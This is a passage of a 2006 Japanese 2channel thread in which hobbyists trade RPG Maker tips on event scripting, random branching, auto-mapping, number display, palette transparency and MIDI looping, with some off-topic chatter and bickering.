-RPGツクール総合スレッド@製作技術(Part10)-at GAMEDEV
-RPGツクール総合スレッド@製作技術(Part10)- - 暇つぶし2ch316:名前は開発中のものです。
06/10/28 14:39:52 suGbMaAI
おい、おまいら
職業ごとに装備の制限をかけるにはどうすればいい?

317:名前は開発中のものです。
06/10/28 14:55:31 1cZqPrOH
>>316
1.装備できるタイプ分だけキャラを作る
2.自作メニュー画面を作って、そこから装備させる
3.お前の質問の仕方が気に食わない

318:名前は開発中のものです。
06/10/28 15:06:23 7UPuf6Wy
しかし、最近ツクールの種類も、その他必要な環境も書かかない質問が多いな。
これじゃ答えようが無い。

319:名前は開発中のものです。
06/10/28 17:36:39 DuYBmfYM
質問です
PC版のツクールを始めようかと思うのですが
PSツクール3のようなフィールドマップはありますか?
もしくは作ることは可能ですかね?

320:名前は開発中のものです。
06/10/28 19:02:33 iKj1YDWa
テストプレイって小さめの画面だけど完成したゲームは画面全体でできないんですかね?

321:名前は開発中のものです。
06/10/28 19:05:23 IP3t31DH
>>319
無いけど再現する事は可能

>>320
F4

322:名前は開発中のものです。
06/10/28 21:10:27 O/qYYCBP
マニュアル嫁だな

323:名前は開発中のものです。
06/10/28 21:57:15 /XRuyQMR
ツクール2000でセーブデータを移動させることで引き継げるようなタイプのゲームを作っているのですが
実は現在作っている章の前の章のデータで
MAPを毎回0001に移動させてセーブさせてそこから次の章にリンクさせているのですが
それを忘れて0026でセーブをさせてしまって引継げる状態じゃなくなってしまいました
とりあえず現在作っている章0026にいつも0001に働かせている役割のイベントを入れてみたのですが
うまくいきません
なぜか「無効な主人公が指定されました」とのエラーが出ます
考えられそうな箇所をいじってみたのですがかなりデータベースをいじってからTPをはじめたので
さっぱりミスっている箇所が分かりません
本当に困っています
誰か助けてください

324:323
06/10/28 22:46:36 /XRuyQMR
自己解決できました

325:名前は開発中のものです。
06/10/29 00:14:11 rdWhChFH
質問です。
RPGツクール95のセーブデータ改造するツールって存在するのでしょうか?

326:名前は開発中のものです。
06/10/29 02:21:22 +Vn3MZlV
しない。以上。

327:名前は開発中のものです。
06/10/29 12:05:45 PnimaIxL
する。以下。

328:名前は開発中のものです。
06/10/29 13:03:46 YAWIsQ5d
最近の質問厨はなんで下げないんだ?

329:名前は開発中のものです。
06/10/29 13:10:57 h02CodCE
sageデフォの専ブラ使ってないからだろ。
べつに今更下げる必要なんか無いけどな、業者なんて下がってても来るし
こんな過疎板にほとんど来ないしな。

330:名前は開発中のものです。
06/10/29 17:30:16 hI+lIUZa
皆さんはファイトクラブと酔拳と燃えよドラゴンの中から好きな映画を挙げるとどれですか?

331:名前は開発中のものです。
06/10/29 17:43:50 h02CodCE
>>330
ファイトクラブ見てないんだよな、酔拳って日本版は最後の方が実はカットされていて、
工業用のメチルアルコールを飲むと視神経がやられて失明してしまう事があるんだけど、
ジャッキーが最後に見えない目が見えないって言い出すしゃれにならないオチがあるんだ。
ブルースリーなら燃えよドラゴンよりは死亡遊戯が好きだな。

あえて3つの中ならファイトクラブ見ていないから酔拳と答えるしかない。

格闘技アクションものならOnly The Strong が1番面白かった。

332:名前は開発中のものです。
06/10/29 17:52:20 hI+lIUZa
>工業用のメチルアルコールを飲むと視神経がやられて失明してしまう事があるんだけど、
>ジャッキーが最後に見えない目が見えないって言い出すしゃれにならないオチがあるんだ。
そうだっけ?国宝を持ち出そうとした奴をやっつけて盛り上がってる時に
ジャッキーが失明した上、頭もあぼーんなっちゃって
   ∩___∩
   | ノ      ヽ/⌒) あばばばばばば
  /⌒) (゚)   (゚) | .|
 / /   ( _●_)  ミ/    ∩―-、
.(  ヽ  |∪|  /    / (゚) 、_ `ヽ
 \    ヽノ /      /  ( ●  (゚) |つ
  /      /      | /(入__ノ   ミ   あばばっあびゃばびゃばば
 |       /       、 (_/    ノ
 |  /\ \       \___ ノ゙ ─ー
 | /    )  )       \       _
 ∪    (  \        \     \
       \_)
みたいな感じだった気がするんだが

333:名前は開発中のものです。
06/10/29 18:17:26 h02CodCE
>>332
そうそう、あれ見えないとか言ってるけど酔ってへベレケになって半笑いで
周りに居る人もヨッパライのたわごとみたいな感じで捕らえて気が付いていない感じで
見ようによってはかなりやばい笑えないオチだったよ。

自分が好きって言ったのはそこが部分がカットされた日本版のやつね。

334:名前は開発中のものです。
06/10/29 20:56:19 Q+WO22qg
どうでもいいが、それ酔拳2じゃないのか?

335:名前は開発中のものです。
06/10/29 21:02:13 2PYabi9z
やっぱプログラミングでゲーム作るのは無理だと感じたんで、
とりあえずツクールXPとライブメーカー使ってみているのですが、


これって、最初に出てくる「ニューゲーム・コンティニュー・シャットダウン」
という表示の前に動画は挟めないのでしょうか?

336:名前は開発中のものです。
06/10/29 21:58:47 DG8/qTIw
ツクールxpでは動画ファイルの再生自体無理だから、
自分で画像を連続表示するしかない。

337:名前は開発中のものです。
06/10/29 22:01:10 h02CodCE
どのみちスタートメニュ前に挟むのは無理じゃないの?


338:名前は開発中のものです。
06/10/29 22:04:54 DG8/qTIw
普通にスタートメニュー前に挟める

339:名前は開発中のものです。
06/10/29 23:21:42 h02CodCE
2000の場合EBのロゴが出てすぐに「ニューゲーム・コンティニュー・シャットダウン」の
スタートメニュが表示されその前のムービーなんて挟めないが?

340:名前は開発中のものです。
06/10/29 23:47:06 4Luy9+rU
ツクールXPならどっかでタイトル画面をアニメーションさせるスクリプトもあったな。
こないだPC大破してお気に入りデータも全部消えたから解らんが。
知ってる人いたら書いてくれると嬉しい。

2000は最初のタイトルメニュー前はいじれない。
XPなら動画再生のスクリプト+タイトル前にロゴ表示するスクリプトの応用でいけるんじゃないかな。
ただ、動画再生のスクリプトは未だ未完成(?)みたいで動作不安定だった。

341:名前は開発中のものです。
06/10/30 00:47:18 eQN4OeVw
結局ムービーを手前で流すのは今のところ不可能みたいだね。

342:名前は開発中のものです。
06/10/30 00:49:17 64NRt2K8
>>339
XPの話だろ。
XPならいくらでも何とでも書ける。動画再生はまず無理だけど。

タイトル前になにかを表示したかったら、
一番シンプルな解決策はシーンクラスを自作して、
mainセクションでそいつを最初に呼び出すようにするだけだな。

343:名前は開発中のものです。
06/10/30 00:55:17 eQN4OeVw
>>やっぱプログラミングでゲーム作るのは無理だと感じたんで
とあるからそれの配布スクリプトが存在していて特定できないと無理だろうし
XPには動画ファイルを再生する機能も無いし、そのスクリプトも完成した話はまだ聞いていないから。

344:名前は開発中のものです。
06/10/30 07:28:05 VYRnvh+2
あまり適当なことは言わんでほしいなぁ
URLリンク(philis.littlestar.jp)

RPGツクールXPスレッド ver0.02
スレリンク(gameama板:629番)
URLリンク(72.14.253.104)

345:名前は開発中のものです。
06/10/30 09:16:50 eQN4OeVw
適当とか言われてもそんな他板のDAT落ちしたスレのそのデータを
どうやって目的の物だと特定して探し出せって言うんだろう?

XPにはデフォで動画ファイルを再生する機能が無いのも
そのスクリプトも完成した話自分はまだ聞いていないのも
適当な話じゃなく本当の事なんだけどな。

346:名前は開発中のものです。
06/10/30 19:29:57 Mg4COTtq
>>336-345
とにかく、タイトル前に動画挟むのは無理なんですね。

皆さん有難うございました。

347:名前は開発中のものです。
06/10/31 14:04:22 sRWkiZ3T
質問です。
RPGツクール95のセーブデータ改造するツールって存在するのでしょうか?

する?、しない? どっち?

するのなら名前を教えて欲しい(ググっても見つからなかった)。

348:名前は開発中のものです。
06/10/31 16:18:33 LbNtx4uS
しますん。

349:名前は開発中のものです。
06/10/31 17:34:18 biQtYF+w
ツクール2000なんですけどイベントでその場で足踏みをさせるにはページ2個作ってスイッチで起こすしかないんでしょうか
キャラ動作指定みたいな手軽にはできませんか?

350:名前は開発中のものです。
06/10/31 17:45:12 zzk2rEMe
ただ足踏みなら「アニメーションタイプ」っていうところで指定できるけど、
止まってる奴を途中から足踏みとかならページ使う方が良いんじゃないの?


351:名前は開発中のものです。
06/10/31 21:22:49 bBU5JRLh
>>348
キングーーーーーーーーーーーーーーーーーーーーーーーー!!!!!!

352:347
06/10/31 23:53:53 sRWkiZ3T
「しますん」も「キング」もヒットしませんね。
やはり無いのかな?

353:名前は開発中のものです。
06/10/31 23:59:45 786y5Exj
ねーよ

354:名前は開発中のものです。
06/11/01 00:01:39 Id0xth01
95自体を使ってデータを改変するイベントを作ってそこで改変させて
そのセーブデータを改変前のゲームにもっていけばいいんじゃない?

355:名前は開発中のものです。
06/11/01 17:56:14 NEQdDTXJ
519 名前:以下、佐賀県庁にかわりまして佐賀県民がお送りします[] 投稿日:佐賀暦2006年,2006/11/01(佐賀県職員) 17:51:37.14 ID:r+AicJGK0
VIP→流れが速い
ラウンコ→ツクール以外の雑談が多い
モナー→キャラがAAなので和む
ゲ製→流れが遅くて多少本格的


356:名前は開発中のものです。
06/11/01 18:54:25 TWPSCMEh
MCI使ったムービー再生用DLLを作ってみたんだけど、
皆の環境でエラーが出ないかどうかテストしてもらって良いですかね?

357:名前は開発中のものです。
06/11/01 18:56:41 j+jWtI8F
もう皆さん知ってますかね?

カヴァオの命に関わる冒険攻略ブログ
URLリンク(dc2sakai.exblog.jp)

358:名前は開発中のものです。
06/11/02 11:13:23 22YBZyeh
まぁいまさらだけど人におもしろいと思わせるゲーム作った人ってマジでスゲーわ・・自分で作ってみてマジ実感した・・

359:名前は開発中のものです。
06/11/02 19:19:30 IXIsClhf
音楽が鳴らない…・゚・(ノД`)・゚・
効果音はなるんだけどなぁ。
Hmidi16ってのが悪さしてるって聞いた事あるけど、見当たらないし…

360:名前は開発中のものです。
06/11/02 23:59:14 wL/d42Ct
>>359
タスクの中の音量を右クリしてボリュームコントロールを開く
(無ければコンパネ内のサウンドとオーディオデバイス→音量タブ→詳細設定)

その中の一番左のボリュームコントロールの音量を上げてみる

361:名前は開発中のものです。
06/11/04 00:23:53 BHIJ+AEx
シュミレーションRPGツクール95を使っている者ですが・・・
画像が上手くインポート出来ません・・・。
どうすればよろしいでしょうか?本当に困ってます。
どなたかご教授お願いいたします。

362:名前は開発中のものです。
06/11/04 01:10:42 XzkTR3Td
×シュミレーション
○シミュレーション

363:名前は開発中のものです。
06/11/04 16:22:28 wwbWmQGC
2003で一番目に作成したマップを草原のチップで打って、その下に町のマップを外観まで作ったら、町が草原のチップで作られてしまったんだがそのまま表示するにはどうすればいい?

364:名前は開発中のものです。
06/11/04 17:06:37 wNrOLJTG
日本語でおk

365:名前は開発中のものです。
06/11/04 19:26:00 /YvM9M2j
2000VALUE。
文章にランダムに主人公の名前を表示させようとしているのですが、
V[1]に主人公番号放り込んで\N[\V[1]]と入れても「不正な主人公」と表示され上手く動きません。
ヘルプには\N[\V[1]]で出来ると書いてるのに…バグだろうか?

366:名前は開発中のものです。
06/11/04 19:56:19 rpmF1jfm
基本的にバグでもなんでもなく仕様だと思うけど?
説明書の何処にも二重に制御文字が使えるとは書いていなかったような気がするけど。

367:名前は開発中のものです。
06/11/04 20:11:25 U4Jhqe/L
いや出来るだろ

368:名前は開発中のものです。
06/11/04 21:21:57 mtSPBb1g
全角とかだったらワロスw

369:名前は開発中のものです。
06/11/04 21:26:34 rpmF1jfm
もし出来るなら主人公の数を超えた乱数が指定されてるとかじゃないのかね?
5人しか居ないのに乱数が1~10とか0が入ってるとかそういうの。


370:名前は開発中のものです。
06/11/04 22:51:00 ywYafwhN
2000valueでの質問。
「シレン」とか「メガテン」みたいな、
一歩ごとに記録されるオートマッピングを作りたいのだけど、
実現するには「○○のダンジョンの一歩目~」とかの変数を作成して、
一歩ごとに発生するイベントで管理するしか方法ない?
もっと少量の変数で済ませる方法はないものか…

371:名前は開発中のものです。
06/11/04 23:04:53 ywYafwhN
補足…
>>370では、一つの変数に一歩の情報を記録するような書き方をしてしまったが
実際は一つの変数で一歩を担当するのではなく、
一つの変数で複数の歩数の情報を記録する方法を検討してみた
(例えば二進数で、(変数で使える6ケタ)*(±の2通り)=128通りの記録が可能)
その前提で、使う変数を減らせないかという質問。てか、相談。

372:名前は開発中のものです。
06/11/05 00:20:29 ssioNKKb
一度歩いた場所に透明なイベントを置いていくとか。

373:365
06/11/05 00:52:54 4TrvQpBw
>>366
2000VALUEの文章入力のヘルプには\N[\V[1]]ができるとはっきり書いてる。

>>369
V[1]=定数で\N[\V[1]]やってみましたがだめですた。つーわけで再現実験求む。

374:名前は開発中のものです。
06/11/05 01:03:37 X6qJgNyW
エラーが起きるのは主人公の最大数より変数が大きいから。
とりあえず主人公数がV[1]=定数より多いか少ないか確認してくれ。

375:名前は開発中のものです。
06/11/05 01:23:49 nETkgFXs
URLリンク(pandoravote.net)
URLリンク(pandoravote.net)

今、RPGツクールXP用のショボーンを描いてるんだけど、AとBどちらがいいだろうか?
Aは左右で陰影を変えているもの、Bは左右で陰影を変えていないもの。

376:ち ら し
06/11/05 04:24:21 FfjllFWb
ふと
次のツクールでは
RGSSなんぞ捨てて、C#辺りをサポートしたほうがいいんじゃないかと思った
C++やJavaとは違って、実行環境にコンパイラが付属してるし、速度もそこそこ出るし…

#してくれないかな~?じゃないのはもう随分ツクールに触ってないし、これからも多分触らないから。

377:名前は開発中のものです。
06/11/05 05:50:33 ThPe/oel
>>373
・入れる数値が正しいか
・変数の番号を間違っていないか
・加算ではなく代入か
・主人公の最大数がおかしくないか
・乱数の範囲は正しいか
・代入しているのが、「○○の番号の変数」になっていないか
・ver1.51かどうか
・割れ物でなく正規品かどうか

378:名前は開発中のものです。
06/11/05 09:57:43 aTmiXnps
>>376
実行環境にコンパイラがついて何の得が?

379:名前は開発中のものです。
06/11/05 13:37:01 zOwmI/0o
自己解決した。

380:名前は開発中のものです。
06/11/05 14:40:51 jjVdDwFd
そうかい

381:名前は開発中のものです。
06/11/05 18:09:35 GR2mCIKO
>>379
お前は誰だ

382:名前は開発中のものです。
06/11/05 19:09:39 zOwmI/0o
2003でオープニングムービーを表示するにはどうすればいいでしょうか。

383:名前は開発中のものです。
06/11/05 19:15:08 58fIQk1v
379 :名前は開発中のものです。:2006/11/05(日) 13:37:01 ID:zOwmI/0o
自己解決した。
382 :名前は開発中のものです。:2006/11/05(日) 19:09:39 ID:zOwmI/0o
2003でオープニングムービーを表示するにはどうすればいいでしょうか。

ID:zOwmI/0o

面白くないよ。全然。

384:名前は開発中のものです。
06/11/05 19:57:34 tyCWhx98
( ゚Д゚)?

385:名前は開発中のものです。
06/11/05 21:22:01 jFAfdh60
最近読解力が落ちたのか、
このスレで書かれている内容がさっぱり理解できん。

386:名前は開発中のものです。
06/11/05 21:32:44 tTEJfnfZ
読解力も落ちたのかもしれないが、漠然としすぎて答えにくい質問や答えになっていない答えや
その他真意がわからない書き込みが多いのも確かだと思う。

387:名前は開発中のものです。
06/11/05 22:07:21 FfjllFWb
>>378
実行用のランタイム以外にコンパイラも個別にインストールしてください…なんてなるととっつきにくいだろ

コンパイラって何ですか?な人も多いだろうし

388:名前は開発中のものです。
06/11/05 22:32:47 VHKhYDkn
>365
V[1]=0001番目の変数ということなら

×\N[\V[1]]
○\N[\V[0001]]

これでおkな筈

389:名前は開発中のものです。
06/11/06 01:25:53 zDFdAkBD
>>370
個人的な思いつきgdgdアイディア。
自作戦闘作れない中級者未満だし
そもそも二進数なんて知りません。

・オートmapの方式二種類
選択肢 A:部屋ごとB:歩数ごと
1:ピクチャ(歩行map下半分隠すとか
ピクチャとピクチャあるいはパノラマと重ねる系じゃないとBは無理) 
2:マップ移動式 イベント満杯で道を隠す
(これなの?ヘルドアー)

ともかく基本システムは完成してるらしく問題は座標かムツカシー
もうちょっと詳しいと楽なのにコモンとかアイテム番号とか
昔の復活の呪文みたいに名前で条件分岐とかそりゃ無理か

もし2なら、イベントIDを記憶させて、消せばいいわけでしょ。
その場合の効率的な記録法とか?

問題点をはっきりさせてくれれば誰か助けてくれると思うよ(甥

390:名前は開発中のものです。
06/11/06 01:37:50 zDFdAkBD
そしてまだチラシ裏は続く
つーか座標か妄想で初心忘れた
座標ね座標XY何を節約するのか変数の数か
スレ使ってごまんなさいねなんか

391:名前は開発中のものです。
06/11/06 05:01:02 DVAz3qsf
sugoijikann
URLリンク(gamdev.org)

392:名前は開発中のものです。
06/11/06 18:24:55 J/sgOscc
しかし、もしツクールVistaとか出るんならXPの良い所はそのままに、ツクール2000で
便利だった要素も追加して欲しいな。発売予定はあるんだろうか?

ピクチャの同時に使用できる枚数も自作戦闘派としては50以上、無制限で使わせて欲しい。
いや、RGSS使えば良い話なんだが一から全部RGSSで組む程の技術はないもんで(つд`

393:名前は開発中のものです。
06/11/07 00:34:48 vqqBqMss
>>392
ソース共有は行われているわけだし、その辺りは頑張ってとしかww


マウスとキーボードをとっかえひっかえ駆使しなきゃならんのでイベントからのスクリプト呼び出しが面倒…
マクロ機能やイベントテンプレート作成機能なんかがあると、その切り替え頻度が減っていい感じ

394:名前は開発中のものです。
06/11/07 09:32:41 Yz0a5JpI
2000を元に、使えるピクチャの枚数増やしてゲームを暗号化できるようにしてくれるだけで十分。
数字表示とかにピクチャ使うと50ではとても足りない。

395:名前は開発中のものです。
06/11/07 11:13:17 1/zCqBkC
任意の場所に文字表示の機能付けたほうがいいな

396:名前は開発中のものです。
06/11/07 12:49:59 vqqBqMss
>>394
>十分
お前が十分でも他の人は(ry

そんなマイナーチェンジが次バージョンとして出るわけ無い
ほしいなら"2000への"改良要望としてメールしとけよ
それなら実現する可能性はある。

397:名前は開発中のものです。
06/11/07 13:09:43 wQGxZ4YI
>>396
何をムキになってるんだかw
単に>>394は、自分の主観で凝り固まった妄想を書いてるだけだろ。
突っ込むんなら、チラシの裏に書け、とでも言えばいい話。

398:名前は開発中のものです。
06/11/07 13:16:39 ffjHqk1d
>>392
もし出るとしても脳がそんな気の利いたことするかどうかは怪しいところだな…。
RGSSは組み始めると楽しくなるから頑張れ(`・ω・´)

ところでこのスレだったと思うんだが、かなり前に過去のツクールのBGM詰め合わせが投下されたことなかったっけ?

399:名前は開発中のものです。
06/11/07 14:44:36 BrC9DRTB
ツクール2000ですが、確率分岐のやり方が分かりません。
あまりにも初歩的だからかググっても方法が見つからないです。
変数の乱数でそれらしきことは出来ましたが、使い勝手がかなり悪いです。
ヘルプも「確率」「%」などで検索したのですが・・・


400:名前は開発中のものです。
06/11/07 14:51:04 nZO1SqMA
使い勝手が悪いって、どんなことやってのさ?

401:名前は開発中のものです。
06/11/07 15:02:56 F0KPAi41
>>399
質問が抽象的で良く判らないね。

Aが46%、Bが32%、それ以外はCにしたい場合は、変数に乱数1~100を代入して
条件分岐で変数が46以下の場合A、それ以外の場合でさらに分岐46+32=78以下はBそれ以外はC
みたいな具合だけどこれで使い勝手が悪いなら2000はどうしようもないんじゃないかね?

402:名前は開発中のものです。
06/11/07 15:54:05 U1/ivZia
ゆとりツクール

403:名前は開発中のものです。
06/11/07 16:18:07 ffjHqk1d
>>401
ごめん、俺もよく分からん文章だと思った

404:名前は開発中のものです。
06/11/07 16:26:11 BrC9DRTB
>>400
三百個ほど同じイベントをコピーして、それぞれ確率によって動作させたいのですが、
コピーした同じ変数だと「それぞれ」がそれぞれの確率にならなくなってしまうので

>>401
そうなんですか
「確率分岐」はどこかにあって見落としてるだけだと思ってました
ありがとうございました

405:名前は開発中のものです。
06/11/07 23:27:57 ZWQqi3Bu
ようするに、

変数1にはランダムな値が入る(例えば1~10の間の値)
変数2にはランダムな値が入る

変数300にはランダムな値が入る

イベント1は変数1の値をもとに動作する(例えば変数1が'0'の場合↑に移動、'1'の場合↓に移動)
イベント2は変数2の値をもとに動作する

イベント300は変数300の値をもとに動作する

イベント2から300はイベント1をコピペして作りたいが、それだともとになる変数が一緒になってしまう
もとになる変数の番号を修正するのがすごく大変だ!

ってこと?

406:名前は開発中のものです。
06/11/07 23:42:34 BrC9DRTB
そういうことですね
「確率分岐」がどこかにあるだろうと思いこんでたんでよく分からない文章になったみたいです

マップデータなんかをテキストに出力できたら置換したりできるんですけどね

まあ無理みたいです

407:名前は開発中のものです。
06/11/08 03:01:38 uKh5mfnG
確率分岐とやらがあったって、結局同じことなんでは?

408:名前は開発中のものです。
06/11/08 09:00:41 sK/+b2fn
確率分岐があれば、変数は使わないで済みそうだから
全コピーでいけるんじゃない?

>>406
300個のイベントは動作指定だけにして、
それとは別に、変数管理のイベントを作って以下のように組む。

変数400に1加算
変数400の番号の変数(この場合、変数1)に乱数1~100代入
変数400に1加算
変数400の番号の変数(この場合、変数2)に乱数1~100代入

変数400に1加算
変数400の番号の変数(この場合、変数300)に乱数1~100代入

300個のイベントの方は、>>405の組み方しか思いつかないから
300個分の修正が必要だろうけど、少しは作業量が減ると思う。

あと、ツクールの補助ソフト配布してるサイトで
そういう反復作業を自動でやってくれるソフトがあったような…。
曖昧だから間違ってたらごめん。

409:名前は開発中のものです。
06/11/08 13:14:26 +0ubRORK
どんなイベントつくりたいんだろう?
マップに入ったら順番にイベント処理してそれぞれ呼び出しして
乱数処理したらソレにあわせてフラグ立てる

って形式なら乱数の器は1個でいいけど、
その分フラグ(変数でも可)がやっぱイベント分必要になるけど

410:名前は開発中のものです。
06/11/08 17:17:16 uKh5mfnG
>>408
分岐に確率を使いたいだけなら、
分岐の直前に変数に乱数を入れればいいだけだから、
別にコピペで同じ変数でもかまわね。確率分岐とやらがあるのと一緒。

で、それがダメなんだべ?
つーことは、いずれにしろイベントそれぞれに別々の変数が必要なんだから、
確率分岐とやらがあっても同じことだと思うのだけど。

411:名前は開発中のものです。
06/11/08 17:56:20 slGYAWkc
>>408
どうも
変えるところが少なくなりましたね
ソフト探してみます
見つかったらやってみます
わざわざ詳しくありがとうございました

>>409
それぞれが一定の確率で動く中で、
確率を読んで少しでも有利な方向に向かうようなイベントを作りたいと思っています
なかなか大変そうですね
ありがとうございます

>>407>>410
同じ変数では駄目で、
それぞれ独立して動く同じ確率の分岐が欲しいということはつまり、
同時に動かすこともあるということです
確率分岐が有ればオッケーです
はい

412:名前は開発中のものです。
06/11/08 18:18:51 C1KjQWi8
2000でCTBサイドビュー戦闘つくってるんだけど
数字の表示ってどうすればいいの?

文章の表示で\Vでやろうとしたら
数値によって表示される位置が微妙に変わってしまいます

413:名前は開発中のものです。
06/11/08 20:35:38 auCClwpY
>>411
説明受けても意味わからん。

共通処理には出来ると思うけど
もっとちゃんとした仕様が分からないとなんとも

つかそもそも確立分岐ってナニ?
確立で分岐させるってことならそれこそ工夫が足りないだけだと思うけど

414:名前は開発中のものです。
06/11/08 20:42:08 St2m4ycs
そのやり方よりも、ピクチャーで枠作った上に、
見た目が数字のキャラクタを乗せれば良いと思うよ。
各ステータスを桁ごとに算出してそれぞれ変数代入して、
対応する変数を持つ数字キャラクタを、表示位置を調節して配置。

まだ体験版を数日やっただけの脳内ツクラーですが。

415:414
06/11/08 20:43:09 St2m4ycs
>>412>>412に対するレス

416:名前は開発中のものです。
06/11/08 21:47:32 uKh5mfnG
>>411
変数への乱数代入が分岐の直前でも?
ツクールのイベントの並列処理がどうなっているのかわからないけど、
大丈夫なんじゃないかと思うけどなぁ?

とりあえず、2イベント(キャラ)を並列実行で、
同じ変数に違う値を代入しつつ、その変数で分岐して、
違う動作させる(主人公への近寄るのと逃げるの)というのは成功したよ。

ここまでは確率分岐とやらがあっても同じだと思うんだけど、
なにが違うのだろう?
確かに、そもそも確率分岐ってナニ? って感じだ。

417:名前は開発中のものです。
06/11/08 22:26:26 gfUw6UCJ
>>389
だいぶ参考になった。
2の方法が楽そうなのでそっちでやってみる
どうやって変数に取得した座標を、実際のマッピングに反映させるのかで迷っていたんだ
イベント満杯の状態から、歩いた場所のイベントを消していくってのは思いつかなかった
ヘルドアーってのがよく分からないけど、とにかくありがとう

418:名前は開発中のものです。
06/11/08 22:43:03 sK/+b2fn
自分がイメージした確立分岐というのは、
今ある条件分岐に【確立】の項目が増えて、
そこで【5%:15%:30%:50%】とか数値を設定したら
それだけで分岐するって感じ。
これなら変数使わないから、コピーで済むんじゃない?

419:名前は開発中のものです。
06/11/08 22:54:19 C1KjQWi8
>>414
数字作ってみた・・・

でも数字と数字の感覚が広くなりすぎちゃうんだけど・・・
それはRPGツクールでは仕方ないのかな・・・

420:名前は開発中のものです。
06/11/08 22:57:34 C1KjQWi8
>>419
数字自体を大きくすればいいのか!!

スレ汚しすまんかった

>>414さんありがとう

421:名前は開発中のものです。
06/11/08 23:01:06 sK/+b2fn
418書き込んでから気付いたけど、>>416の方法でできたのなら
今のままでも普通にコピーでいけるのか

422:名前は開発中のものです。
06/11/09 00:09:53 ybmkgsWe
>>420
YADOでぐぐれ
あとはそこ見て勉強しる

423:名前は開発中のものです。
06/11/09 02:54:46 qGF3HnG0
>>422
神サイト紹介サンクス

勉強して出直します

424:名前は開発中のものです。
06/11/09 04:11:42 UQE9QW8M
久しぶりにRPGツクール2000で作成してるんだけど・・・
顔グラフィックをインポートした時に透過処理をしないようにしたい。
前は出来た気がしたけど、覚えてないし使用しない色を0番目に持っていくのも今さら出来ない。
顔グラフィックの一箇所に空白を用意して透過色を設定する手もあるけど。
・・・まぁ分かる方教えてくださいorz

425:名前は開発中のものです。
06/11/09 04:19:16 Y7NMqEe/
>>424
一度RPG変換してパレット指定できる減色ツールで
0番目に別の色があるパレットを指定して減色すればOK。

426:名前は開発中のものです。
06/11/09 04:23:50 UQE9QW8M
>>425
即レス有難うございます。どういうツールがあるか分かりませんが探してみます。

427:名前は開発中のものです。
06/11/09 04:29:55 Y7NMqEe/
その素材だけで良いなら今UPすれば減色やり直せるけど?

428:名前は開発中のものです。
06/11/09 04:35:57 UQE9QW8M
>>427
良ければおススメのツール教えていただけませんか?
自分はEdge、padieを使ってみましたが出来ませんでした。

429:名前は開発中のものです。
06/11/09 04:43:29 Y7NMqEe/
それは構わないけど自分は市販のソフトを使ってるから同じ物を使うにはお金がかかる
減色に関しては基本的にOPTPiX、パレットを弄るのはPhotoshopでやってる。

430:名前は開発中のものです。
06/11/09 04:48:36 UQE9QW8M
>>429
情報どうもです!
そういやツクールシリーズってXP以降出てませんよね。
ツクール2000は解像度大きく出来たら・・・

431:名前は開発中のものです。
06/11/09 04:59:23 Y7NMqEe/
人によって理想的なツクールは結構違うから、次出るとしても思い通りになるかどうか。
グラフィックの色や解像度、透過処理がXP並みの2000がいいとか、全く逆の考えで
解像度は2000のままであれにRGSSのようなスクリプトを弄れるエディタが付けばいいとか、
XPの2000や2003にあった機能が省かれていないバージョンが欲しいとか様々。

エンターブレインは今のところ次を出す気がないからRGSSなんてものをつけたような気がする。

432:名前は開発中のものです。
06/11/09 06:40:55 u1AzCoCm
>424
Edgeでも出来るよ
保存の際にオプションの[背景色を透過する]にチェック入れればいい

433:名前は開発中のものです。
06/11/09 12:54:08 WF9BfjP+
>424
Edgeでパレットの場所の入れ替えは簡単にできますよ。

434:名前は開発中のものです。
06/11/09 14:35:32 UQE9QW8M
>>432・433
ありがとうございます。
>>432
書き方が悪かったです、透過させるんじゃなく透過させたくないんです。顔グラとか・・・
>>433
パレットを入れ替えると塗り直しになりませんか?



435:名前は開発中のものです。
06/11/09 14:57:44 WF9BfjP+
>>434
パレットの場所だけを入れ替える事ができるので、問題ないですよ。
パレットウィンドウの下のこんなボタンをクリックしてパレットを
移動すればパレットの色だけを移動できます。

/⌒\
■  ■←半分くらいまで赤い

436:名前は開発中のものです。
06/11/09 17:27:56 0ZJzxRFL
YADOってホント神だよな。 たった11年であそこまでツクールを理解できるものなのか?

437:名前は開発中のものです。
06/11/09 17:37:29 +s9GVb1f
たった11年ってあんた…
褒めてるのか貶してるのかわからん

「ツクールと出会って11年、今はPCプログラマーです」
みたいな人は結構多そう

438:名前は開発中のものです。
06/11/09 17:43:45 DM0g6y+h
俺もツクールと出会って11年だなぁ。

439:名前は開発中のものです。
06/11/09 17:50:47 0ZJzxRFL
>>437
何だお前

440:名前は開発中のものです。
06/11/09 19:23:11 2Xx2oxuA
無駄に絡むな

441:名前は開発中のものです。
06/11/09 19:23:42 UQE9QW8M
>>435
サンクス
MIDIがループしないんだけど、コントロールチェンジに111を指定っていうのがよく分からない。

442:名前は開発中のものです。
06/11/09 19:46:40 /dXAgrFE
すいませんXPなんですが
スキルAがあったとして
スキルAを常に通常攻撃と同じ威力にするにはどう設定すればいいですか?
腕力Fや攻撃力Fや威力

443:名前は開発中のものです。
06/11/09 19:48:00 M6t/aycm
>>441
そのままの意味。
ループさせたい所にコントロールチェンジの111番目を置けばいいだけ。

(コントロールチェンジ=ボリュームなら7番、テンポなら155番目のアレ)

444:名前は開発中のものです。
06/11/09 21:04:13 tae/hV1h
ツクール2000でバトルイベント駆使して敵もしくは味方に1ターンに2回以上行動させることはできるでしょうか?

445:名前は開発中のものです。
06/11/09 21:15:32 Rr8rEDaD
2000で属性の抵抗力を変数か何かで知ることはできますか?
もしくは、コマンドにダメージの処理ってのがありますが、属性防御を考慮して減算させたいのですが出来ますか?

446:名前は開発中のものです。
06/11/09 21:44:38 w5/nL/PI
>>444
できますん

>>445
例えば数値分散0で、調べたい属性のついた定数100のダメージの攻撃を使って、
敵or味方に攻撃、でダメージの値を見るなり使う前後のHPの差を取って変数に代入。
それ以外では不可能。ダメージの処理は、自分で%の値を掛けて計算しろ。

447:名前は開発中のものです。
06/11/09 22:20:50 UQE9QW8M
>>443
ありがとうございます。すぐに自己解決しました。(クレ厨になってたorz


448:名前は開発中のものです。
06/11/10 14:37:07 c1U21XNw
自分がちょい手を加えたものだけど。
こんなのあります。
URLリンク(zetubou.mine.nu)

449:442
06/11/10 15:05:55 yQLR8Up0
442だけど自己解決しました
つうか自己解決されるまえにとっとと答えろよ

450:名前は開発中のものです。
06/11/10 15:14:15 IXwVoGMy
>>449
キミは出来る子だって信じてたからなにも言わなかったのに(´・ω・`)

451:名前は開発中のものです。
06/11/10 15:30:02 h6HSdrVO
>>449
いゃ自己解決しようとする直前にクレクレになった俺は痛いorz
しかし画面のサイズはどうにかしたいな(できないけど
